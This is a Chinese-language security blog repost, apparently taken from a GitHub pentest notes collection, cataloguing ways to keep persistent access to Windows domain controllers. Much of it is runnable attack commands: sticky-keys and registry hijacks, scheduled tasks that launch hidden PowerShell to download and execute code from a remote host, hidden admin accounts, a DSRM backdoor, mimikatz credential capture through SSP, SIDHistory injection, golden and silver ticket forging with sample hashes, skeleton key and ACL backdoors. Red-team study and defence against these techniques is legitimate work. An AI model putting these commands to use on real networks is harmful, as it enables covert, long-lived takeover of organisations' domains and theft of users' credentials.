域控权限维持
2022-8-19 00:2:16 Author: 橘猫学安全(查看原文) 阅读量:48 收藏

1. 粘滞键后门

1.1 修改目录下的 sethc

在 windows/system32 下,直接将 sethc 程序替换成 cmd.exe

如果目标机是 windows vista 以上的,即 windows vista 以后出的系统,修改 sethc 会提示需要 trustedinstaller 权限,trustedinstaller 是一个安全机制,即系统的最高权限,权限比 administrator 管理员高.

windows 下的权限主要包括:user,administrator,system,trustedinstaller没有system高,所以需要修改sethc, 需要将其所有者改为改为我们当前管理员用户

这时可以重命名,也可以直接删除,然后复制 cmd 修改 sethc 即可,然后在锁屏没有密码情况下,可以直接按 5 下 shift 调出 cmd

1.2 修改注册表的映像劫持

通过修改注册表的映像劫持打开其远程桌面来实现。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 /v 来指定键名,这个键名 debugger 是固定的,然后通过 /t 来指定类型,即 REG_SZ 字符串类型,最后通过 /d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。

效果如下:

2. 注册表后门

开启启动项

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

msf 下的命令:

use exploit/windows/local/persistence

3. 计划任务

schtasks命令参数如下:

  • /Create 创建新任务。

  • /Delete 删除计划任务。

  • /Query 显示所有计划任务。

  • /Change 更改计划任务属性。

  • /Run 按需运行计划任务。

  • /End 中止当前正在运行的计划任务。

  • /ShowSid 显示与计划的任务名称相应的安全标识符

# schtasks 命令
# 每天晚上 03:30 定时执行
schtasks /create /tn "TimedTask1" /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30
# statement A

# 查询创建的任务
schtasks /query /tn TimedTask1 /v

# 立即运行创建的任务
schtasks /run /tn TimedTask1

# 删除任务
schtasks /delete /tn TimedTask1

搭配远程下载如下:

#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

4.wmi无文件后门

evil3.vbs -> 恶意VBS脚本。创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本pnc.js;绑定过滤器和消费者。

然后类似于nc一样的工具进行连接:

参考项目 :

https://github.com/SAMOxtan/WMI_Fileless_Backdoor

https://github.com/SAMOxtan/WMI_Fileless_Backdoor

5. 隐藏用户

net user test$ 123456Qaq /add
net localgroup administrators test$ /add

主要是创建影子用户的思路:https://blog.csdn.net/weixin_51339377/article/details/124168411

6. DSRM后门

DSRM(Directory Services Restore Mode) 是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器有一个本地管理员账号(也就是 DSRM 账号)。DSRM 的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运 ntdsutil 行命令。

在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。

  • 如果域控制器的系统版本为 Windows Server 2008,则需要安装 KB96132 补丁才可以使用指定域账号的密码对 DSRM 的密码进行同步。

  • 在 Windows Server 2008 以后版本的系统中不需要安装此补丁。

  • 如果域控制器的系统版本为 Windows Server 2003,则不能使用该方法进行持久化操作。

每个 DC 都有本地管理员(administrator)账号和密码。DSRM 账号可以作为 DC 的本地管理员用户,通过网络连接 DC,进而控制 DC。

在 DC 上,DSRM 账号的表现形式是本地的 administrator 用户,也就是说本地 administrator 用户 = DSRM 账号

修改DSRM密码

参考链接:https://blog.csdn.net/weixin_36044132/article/details/119595410

微软官方给出的方法:

NTDSUTIL #打开ntdsutil
set DSRM password # :修改DSRM的密码
reset password on server xxxx # 在当前域控制器上重置DSRM的密码
# 重复确定两次密码以后就可以了
# q(第1次):退出DSRM密码设置模式
# q(第2次):退出ntdsutil

设置 DSRM 后门

上传mimikatz,在administrator权限下执行命令

privilege::debug
lsadump::lsa /patch /name:krbtgt

获取到了krbtgt NTLM Hash 和 SID

接下来查看并获取SAM文件中本地管理员的NTML也就是DSRM的NTLM Hash值

token::elevate
lsadump::sam

将DSRM账号和krbtgt的NTML HASH同步

NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt

我们发现 krbtgt的NTLM和 administrator的 hash成功同步

最后修改一下DSRM的登录方式,DSRM默认有三种方式

  • 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。

  • 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。

  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

通过以下命名设置方式改为:2

以管理员方式运行powershell:

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

最后,我们就可以使用本地administrator 账号哈希传递攻击域控

sekurlsa::pth /domain:main /user:test /ntlm:73265a93b877df146cf06d08ffa673e8

最后可以使用Mimikatz的 scysnc功能远程转储krbtgt的NTML Hash

lsadump::dcsync /domain:main.com /dc:DC /user:krbtgt

7. SSP

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLMKetberos,Negotiare.Seure Channe(Schannel )、DigestCredental( CredSSP )。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

LSA( Local Security Authority),用于身份认证,常见进程为 lsass.exe

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证;lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

使用 mimilib SSP

7.1通过内存更新留后门(临时)

由于是针对本机的 LSA 进行 Patch,因此本方法只针对在当前机器上登录的用户起作用

privilege::debug
misc::memssp

注销用户之后,可以访问C:\Windows\System32\mimilsa.log,会有日志文件

7.2 通过注册表更新后门(永久)

项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。

如下:

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll"

这里踩了一个坑,当路径已经到达末尾时,后面不要有\,否则会进行转义,如下:

但是却找不到

查看了一下注册表,没写进去

去掉\之后,就成功写入了。

之后重启,访问c:\windows\system32\kiwissp.log即可得到

8. SIDHistory域后门

每个用户帐号都有一个关联的安全标识符(简称SID),SID 用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持 AD 迁移,微软设计了 SID History 属性,SID History 允许另一个帐户的访问被有效的克隆到另一个帐户。通过 SID History 可让用户拥有不同身份的权限,在单域中同样有效。

查询域内用户

dsquery user

将工具上传 https://github.com/lucasbiella/admodule

导入模块,查看用户的SID History

Import-Module activedirector
Get-ADUser liukaifeng01 -Properties sidhistory

使用Mimikatz将Administrator的SID添加到所选用户的SID History属性中

  1. 在使用mimikatz注入SID之前需要使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入低权限的用户的SID属性;

  2. mimikatz在2.1版本之后将misc::addsid模块添加到了

  3. NTDS:New Technology Directory Service,NT

# mimikatz
privilege::debug
sid::patch //以下命令如果执行失败则使用该命令修复NTDS服务
sid::add /sam:yyds /new:administrator

这时候再看一下

9. HookPasswordChangeNotify

Hook PaswordChangeNoify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输人的密码明文。

在修改域控密码时会进行如下同步操作:

  1. 当修改域控密码时,LSA 首先调用 PasswordFileter 来判断新密码是否符合密码复杂度要求

  2. 如果符合,LSA 接着调用 PasswordChangeNotify 在系统上同步更新密码

函数 PasswordChangeNotify 存在于 rassfm.dll

rassfm.dll 可理解为 Remote Access Subauthentication dll,只存在于在 Server 系统下,xp、win7、win8 等均不存在

特点是:

  1. 不需要重启

  2. 不需要修改注册表

  3. 甚至不需要在系统放置dll

参考项目:

https://github.com/clymb3r/PowerShell

https://github.com/clymb3r/Misc-Windows-Hacking

10. GoldenTicket/黄金票据

==黄金票据的目的是:权限变更。==

假设域内存在一个SID为502的域账号krbtgt。krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息:

  1. 完整的域名

  2. 需要伪造的域管理员用户名

  3. 域SID-Krbtgt的NTLM Hash或AES-256

操作系统角色域名用户名
Wins2012R2DCmain.com12451
windows 2008Clientmain.comtest

实现:

  1. 先获得hash 和SID

lsadump::lsa /patch      #专用于在域控制器上导出用户密码或hash

我们得到krbtgt用户的Hash为:73265a93b877df146cf06d08ffa673e8,域sid为S-1-5-21-2214894582-1205818508-3793940241

  1. 切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

    # kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
    kerberos::golden /user:administrator /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /krbtgt:73265a93b877df146cf06d08ffa673e8 /ticket:ticket.kirbi

  1. 在当前目录下会生成一个ticket.kirbi

    kerberos::purge   //先清空所有票据
    kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机

    然后查看一下当前的票据内容

    kerberos::tgt

  1. 对比一下之前的操作,当我们想看 DC下的共享目录的时候:拒绝访问

  1. 更改凭证之后

11. SilverTicket/白银票据

Silver Ticket(白银票据) 不同于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。

白银票据和黄金票据的区别:

  1. 金票是由krbtgt账号的密码散列值加密的,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限,而银票是由特定的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。

  2. 白银票据不经过KDC,因此白银票据日志相对于黄金票据要少,同时白银票据的日志都在目标服务器上,域控上不会有日志,更加隐蔽,但是白银票据的权限就不如黄金票据的权限了

和黄金票据不同的是,白银票据的针对性较强,没有金票的普适性,即拿到服务A的口令NTLM值只能伪造高权限的TGS票据,获得服务A的高权限访问,对服务B则完全无效。

应用服务类型需要的服务
VMIHOST、RPCSS
Powershell RemotingHOST、HTTP
WinRMHOST、HTTP
Scheduled TasksHOST
Windows File Share (CIFS)CIFS
LDAP operationsLDAP
Windows Remote Server Administrations ToolsRPCSS、LDAP、CIFS

输入klist可以获得

这里很明显看到有两个服务,一个krbtgt,一个是host

11.1 伪造Host服务权限---创建计划任务

# mimikatz 操作
# 这里不要用管理员权限打开 mimikatz,否则会没有host服务
kerberos::list

接下来获取Hash,并且获取SID

lsadump::lsa /patch

获取了server名称:

/domain 域的名称 /dis 域的sid /service 指定服务类型 /ticket(可选) 指定路径保存票据 /ptt 直接注入内存 /rc4 域控机器ntlm

kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:host /ptt

然后就可以创建计划任务:

schtasks /create /S dc.main.com /tn "task1" /RU "system" /sc weekly /tr "c:\windows\system32\calc.exe"

11.2 伪造CIFS服务权限

kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:CIFS /ptt

同理,获取 HTTP / Wsman服务以后,可以获得目标系统上的WinRMPowershell远程管理的权限。

在注入ldap服务票据后,可以获得目标系统上LDAP服务的管理权限,进而可以利用dcsync远程导出域控上的hash

12. SkeletonKey/万能密码

Skeleton Key 被安装在 64 位的域控服务器上 支持 Windows Server2003 — Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效

使用 Skeleton Key 攻击时,NTLM、Kerberos 两种身份验证方法都会被篡改。例如,在NTLM身份验证期间,已注入 LSASS 进程中的主密码哈希将不会与SAM数据库进行比较,而将与 Skeleton Key 哈希进行比较,因此,身份验证将成功。

Kerberos 加密也将降级为不支持 Salt(RC4_HMAC_MD5)的算法,并且从活动目录中检索到的哈希将替换为 Skeleton Key 哈希。因此,主密码的哈希值将始终在服务器端进行验证,并且两种方法的身份验证都将成功。

IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

以下是环境:

操作系统角色域名用户名
Wins2012R2DCmain.com12451
windows 2008Clientmain.comtest
# 添加
net use \\DC\IPC$ "密码" /user:test\administrator
# 将之前建立的IPC$链接删除
net use \\dc\ipc$ /del /y
# 查看现有的IPC$链接
net use

使用添加命令进行 IPC$的添加后,如下:

此时重启,会发现失效

在域控下操作:

#mimikatz 
privilege::debug
misc::skeleton

会显示:

这时候会多一个万能的密码 mimikatz

我们删除原有的 ipc链接,进行新的建立

net use \\DC\ipc$ "mimikatz" /user:test\administrator

但是还是不行

查了一下其他写法(将user后面的名称改为 域 即可),才可以:

net use \\DC\ipc$ "mimikatz" /user:main\administrator

13. AdminSDHolder

参考文章:https://blog.csdn.net/qq_36119192/article/details/109047093

14. ACL后门

这是一种基于域内对象 ACL(Access Control Link)访问控制链的深度隐藏后门。

每个安装了域服务器的都会有两个共享目录,分别是:SYSVOL(C:\Windows\SYSVOL\sysvol)和 它下面的Script两个目录,任何账号都可以访问。

一定程度上说,控制了 SYSVOL 目录,就有很大概率控制域网络。

一般来说,域策略会强制周期性修改高权限用户的密码,但是对低权限用户来说不一定有这个强制性要求,而且域中往往有很多用户几乎不怎么登录、使用。

如果低权限用户具备 SYSVOL 目录的修改权限,登录域时,因为权限不高,不会被审计软件发现。现在的防护、监控类软件还没有过多关注目录的ACL,因此这种方式是一种很实用的隐蔽后门方式。

如果说是共享目录的话,我们尝试写入文件,

权限不够,那么我们加入权限

修改之后,成功写入

这种后门方式,只是演示了 ACL 后门的一种具体形式,因为域中的对象太多,可以操控的 ACL对象也很多。可以根据自己的需要,灵活选择目标的ACL作为目标进行修改,埋藏后门。

15. dump高权限用户的hash

基于获取域控的方法,通过dump DNSAdmin、exchange、localgroup中的RDP、BackupOperator组等高权限用户的hash,来对域控进行权限维持。

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E7%9B%AE%E5%BD%95-acl

https://www.freebuf.com/articles/system/305304.html

原文地址:https://github.com/JDArmy/DCSec/blob/main/%E5%9F%9F%E6%8E%A7%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81.md

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247496860&idx=2&sn=b226691a5ef00a73e399adf3c9c4daf4&chksm=c04d73a2f73afab4cd2cce43e22169bc036004a7cd5300335e93862ad7521a66c1ee4d9e151e#rd
如有侵权请联系:admin#unsafe.sh